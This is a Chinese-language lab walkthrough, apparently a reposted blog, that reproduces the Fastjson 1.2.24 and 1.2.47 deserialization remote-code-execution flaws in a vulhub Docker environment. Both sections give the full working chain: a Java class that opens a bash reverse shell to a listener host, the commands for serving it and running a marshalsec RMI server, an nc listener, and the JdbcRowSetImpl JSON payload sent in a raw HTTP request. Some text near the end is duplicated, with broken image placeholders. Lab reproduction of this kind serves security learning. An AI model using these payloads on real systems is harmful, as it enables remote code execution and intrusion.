当前位置:   article > 正文

vulhub fastjson 1.2.24 反序列化漏洞 复现_fastjson bulhub漏洞复现

fastjson bulhub漏洞复现

vulhub-Fastjson漏洞复现

vulhub fastjson 1.2.24 反序列化漏洞 复现

漏洞简介

首先要知道 Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,也可以将 JSON 字符串转换为 Java 对象

因此黑客可以利用这点构造恶意payload
**目标网站在解析 json 时,未对 json 内容进行验证,直接将 json 解析成 java 对象并执行,**攻击者构造对应的 payload ,让系统执行,就能达到代码执行,甚至命令执行的目的。

漏洞环境搭建

kali上直接搭

docker-compose up -d

image-20240311134842269

复现

先用burp抓包

image-20240311135038267

然后更改请求方法 get方法为post

image-20240311135126339

再修改content-type 为 application/json

image-20240311135206176

然后再随便传json格式的参数看看有无回显来判断漏洞是否存在

image-20240311135354956

证明存在fastjson漏洞

反弹shell

在vulhub下的fastjson 1.2.24文件夹下新建TouchFile.java文件

内容如下

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.131.131/6666 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16

编译java文件

image-20240311140221014

然后把编译好的class文件传到外网系统中,我这里直接在kali上开一个http服务

python -m http.server 4444

  • 1
  • 2

image-20240311140829770

image-20240311140851462

使用marshalsec项目,启动RMI服务,监听9999端口并加载远程类TouchFile.class

首先安装maven

参考文章:kali linux安装maven_kali安装maven-CSDN博客

安装好后

git clone https://github.com/mbechler/marshalsec
  • 1

安装marshalsec

克隆失败的话就去下载压缩包然后复制过去解压

mvn clean package -DskipTests
  • 1

image-20240311143313738

等待编译成功后进入target目录

image-20240311145331236

开启RMI服务

image-20240311145910999

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.131.131:4444/#TouchFile" 9999
  • 1

另起一个终端开启监听

nc -lvvp 6666
  • 1

image-20240311145509834

回到8090端口抓包

POST / HTTP/1.1
Host: 192.168.131.131:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 167
{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.131.131:9999/TouchFile",
        "autoCommit":true
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16

image-20240311145708783

发送请求

image-20240311150622756

image-20240311150629388

image-20240311150640020

image-20240311150708694

成功

总结

这里要注意一点就是jdk版本要统一为1.8

mvn项目要1.8

而且touch.java 在用javac编译时 javac也需要是1.8

如果版本不统一会导致后期反弹shell弹不上

还有就是端口要打开 否则流量过不去也是扯淡。

fastjson 1.2.47-rce漏洞复现

漏洞原因:

具体分析见文章:Fastjson <=1.2.47 远程代码执行漏洞分析-安全客 - 安全资讯平台 (anquanke.com)

攻击者可以利用特殊构造的 json 字符串绕过白名单检测,成功执行任意命令

漏洞搭建

同样是vulhub上docker-compose up -d

image-20240311151829092

image-20240311151834835

复现

验证漏洞

抓包

image-20240311151924557

改请求方法

改content-type

image-20240311152014183

存在漏洞

与前面复现漏洞一样 也需要maven编译的marshalsec

环境在复现上一个漏洞时都弄好了直接用就好

image-20240311152303783

反弹shell

创建touchfile.java文件

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.131.131/6666 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16

和前面的一样

然后编译

image-20240311152647798

image-20240311152739582

在kali上一个http服务,当作外网服务器把

开启rmi服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.131.131:4444/#TouchFile" 9999
  • 1

image-20240311152939195

另起一个终端 监听

image-20240311153005053

burp上构造好json语句

image-20240311153028440

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.131.131:9999/TouchFile",
        "autoCommit":true
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

image-20240311154636155

image-20240311154643939

image-20240311154651728

image-20240311154705652

成功

这个1.2.47和1.2.24差不多

都利用到了rmi

Java远程方法调用,简称Java RMI(Java Remote Method Invocation),是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。

RMI远程调用步骤

image-20240311154821011

工具利用

实际渗透测试一般利用工具多一点 方便嘛

GitHub - Maskhe/FastjsonScan: 一个简单的Fastjson反序列化检测burp插件

不做讲解了

image-20240311160604578
特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。

RMI远程调用步骤

[外链图片转存中…(img-7jqxRGY6-1712578551748)]

工具利用

实际渗透测试一般利用工具多一点 方便嘛

GitHub - Maskhe/FastjsonScan: 一个简单的Fastjson反序列化检测burp插件

不做讲解了

[外链图片转存中…(img-0MSGEZSY-1712578551748)]

本文内容由网友自发贡献,转载请注明出处:【wpsshop博客】
推荐阅读
相关标签
  

闽ICP备14008679号